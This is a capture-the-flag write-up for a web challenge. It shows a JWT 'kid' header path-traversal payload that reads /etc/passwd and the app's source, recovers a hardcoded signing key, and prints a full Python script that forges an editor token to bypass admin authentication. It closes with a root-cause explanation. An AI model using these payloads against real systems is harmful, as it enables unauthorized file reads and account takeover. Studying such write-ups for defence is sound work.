You Are Kidding Me

Platform: Sunshine CTF 2026
Category: Web
Points: 325
Author: jex
Target: https://kidding.web.2026.sunshinectf.games/

1. Initial Enumeration

Opening the challenge website shows CHROME HORIZON :: The Motoring Journal of Tomorrow.
There is a reader login at:
1/login
and an Editor's Desk at:
1/admin
The /admin endpoint requires an editor pass.
After requesting a reader pass, the application sets a JWT in the token cookie.
The JWT header contains:
1{
2  "alg": "HS256",
3  "kid": "reader.key",
4  "typ": "JWT"
5}
The payload is:
1{
2  "sub": "reader",
3  "role": "reader"
4}
The interesting field is:
1kid = reader.key
This tells the server which key to use when verifying the JWT.

2. Testing the JWT

I first tested the JWT with jwt_tool:
1python3.13 jwt_tool.py -M at -r /tmp/req
The request was:
1GET /admin HTTP/2
2Host: kidding.web.2026.sunshinectf.games
3Cookie: token=READER_JWT
The standard JWT attacks did not provide an authentication bypass.
Instead, the behavior of the kid parameter looked interesting.

3. JWT kid Path Traversal

The application uses the JWT kid value to determine the key file.
I modified the JWT header to:
1{
2  "alg": "HS256",
3  "kid": "../../../../../../etc/passwd",
4  "typ": "JWT"
5}
I then sent the modified token to:
1GET /admin HTTP/2
2Host: kidding.web.2026.sunshinectf.games
3Cookie: token=MODIFIED_JWT
The server returned 401, but the response contained:
1PASS REJECTED :: Signature verification failed
2
3Pass declared key file: ../../../../../../etc/passwd
4
5Loaded key file ../../../../../../etc/passwd. Dumping its contents...
The contents of /etc/passwd were also included.
This confirmed that the kid value was being used as a filesystem path.
We therefore had an arbitrary file read.

4. Reading app.py

Since arbitrary files could be read, I changed the kid value to:
1../../../../../../app/app.py
The JWT header became:
1{
2  "alg": "HS256",
3  "kid": "../../../../../../app/app.py",
4  "typ": "JWT"
5}
Sending this token to /admin disclosed the application's source code.
The relevant code was:
1def key_path(kid):
2    return os.path.join(KEYS_DIR, kid)
3
4def load_key(kid):
5    with open(key_path(kid), 'rb') as f:
6        return f.read()
The problem is that kid comes directly from the JWT and is passed into:
1os.path.join(KEYS_DIR, kid)
There is no restriction preventing ../ traversal.
Therefore:
1../../../../../../app/app.py
escapes the intended keys directory.

5. Finding the Editor Key

The disclosed source contained:
1READER_KEY = secrets.token_hex(32).encode()
2
3EDITOR_KEY = b'ch-pr0t0type-edit0r-s1gn1ng-k3y-d0-n0-t-sh1p'
The reader key is randomly generated, but the editor key is hardcoded.
The application also creates:
1keys/reader.key
2keys/editor.key
The important value we obtained from the source was:
1ch-pr0t0type-edit0r-s1gn1ng-k3y-d0-n0-t-sh1p

6. Understanding the Admin Check

The /admin endpoint extracts the JWT header:
1header = jwt.get_unverified_header(token)
2kid = header.get('kid', 'reader.key')
It then loads the corresponding key:
1key = load_key(kid)
and verifies the JWT:
1claims = jwt.decode(
2    token,
3    key,
4    algorithms=['HS256']
5)
Finally, the application checks the role:
1role = claims.get('role', 'reader')
2
3if role != 'editor':
4    ...
Therefore, we need to create a valid JWT containing:
1{
2  "sub": "editor",
3  "role": "editor"
4}
and make the JWT reference:
1editor.key

7. Creating the Forged JWT

Using the leaked editor signing key, I generated a new HS256 JWT.
1import base64
2import hashlib
3import hmac
4import json
5
6def b64(data):
7    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
8
9header = {
10    "alg": "HS256",
11    "kid": "editor.key",
12    "typ": "JWT"
13}
14
15payload = {
16    "sub": "editor",
17    "role": "editor"
18}
19
20h = b64(
21    json.dumps(
22        header,
23        separators=(",", ":")
24    ).encode()
25)
26
27p = b64(
28    json.dumps(
29        payload,
30        separators=(",", ":")
31    ).encode()
32)
33
34message = f"{h}.{p}".encode()
35
36key = b"ch-pr0t0type-edit0r-s1gn1ng-k3y-d0-n0-t-sh1p"
37
38signature = hmac.new(
39    key,
40    message,
41    hashlib.sha256
42).digest()
43
44token = f"{h}.{p}.{b64(signature)}"
45
46print(token)
This creates a valid JWT with:
1{
2  "alg": "HS256",
3  "kid": "editor.key",
4  "typ": "JWT"
5}

Payload

1{
2  "sub": "editor",
3  "role": "editor"
4}

8. Using the Forged JWT

I replaced the original reader token with the forged token:
1GET /admin HTTP/2
2Host: kidding.web.2026.sunshinectf.games
3Cookie: token=FORGED_TOKEN
The application sees:
1kid = editor.key
and therefore loads:
1keys/editor.key
The signature is valid because the JWT was signed with the leaked EDITOR_KEY.
The application then reads:
1role = editor
and passes the authorization check.
The Editor’s Desk is displayed and the flag is revealed.

9. Complete Attack Chain

1Reader JWT
2    β”‚
3    β–Ό
4Manipulate `kid`
5    β”‚
6    β–Ό
7../../../../../../etc/passwd
8    β”‚
9    β–Ό
10Confirm arbitrary file read
11    β”‚
12    β–Ό
13../../../../../../app/app.py
14    β”‚
15    β–Ό
16Read application source
17    β”‚
18    β–Ό
19Find hardcoded EDITOR_KEY
20    β”‚
21    β–Ό
22Forge HS256 JWT
23    β”‚
24    β”œβ”€β”€ kid = editor.key
25    β”œβ”€β”€ sub = editor
26    └── role = editor
27    β”‚
28    β–Ό
29Set forged JWT as `token` cookie
30    β”‚
31    β–Ό
32GET /admin
33    β”‚
34    β–Ό
35Editor authentication
36    β”‚
37    β–Ό
38FLAG

10. Root Cause

The main vulnerability is the unsafe handling of the JWT kid header.
The application trusts attacker-controlled input:
1def key_path(kid):
2    return os.path.join(KEYS_DIR, kid)
without ensuring that the resulting path remains inside KEYS_DIR.
This allows:
1../
path traversal and arbitrary file reads.
The impact is increased because the application source contains a hardcoded editor signing key:
1EDITOR_KEY = b'ch-pr0t0type-edit0r-s1gn1ng-k3y-d0-n0-t-sh1p'
Once this key is obtained, an attacker can forge an editor JWT.

11. Exploitation Summary

StepActionResult
1Obtain reader JWTValid reader token
2Modify kidControl key-file path
3Use ../ traversalArbitrary file read
4Read /app/app.pySource disclosure
5Find EDITOR_KEYObtain signing secret
6Forge HS256 JWTCreate valid editor token
7Set token cookieAuthenticate with forged token
8Request /adminEditor access
9View Editor's DeskFlag obtained

Conclusion

The challenge chains multiple issues together:
JWT kid path traversal β†’ arbitrary file read β†’ source-code disclosure β†’ hardcoded signing key β†’ forged editor JWT β†’ admin access β†’ flag.
The important lesson is that a JWT header such as kid should not be directly converted into a filesystem path without strict validation. Even though the application attempted to protect sensitive files, the ability to read app.py was enough to recover the editor signing key and completely bypass the intended role-based authentication.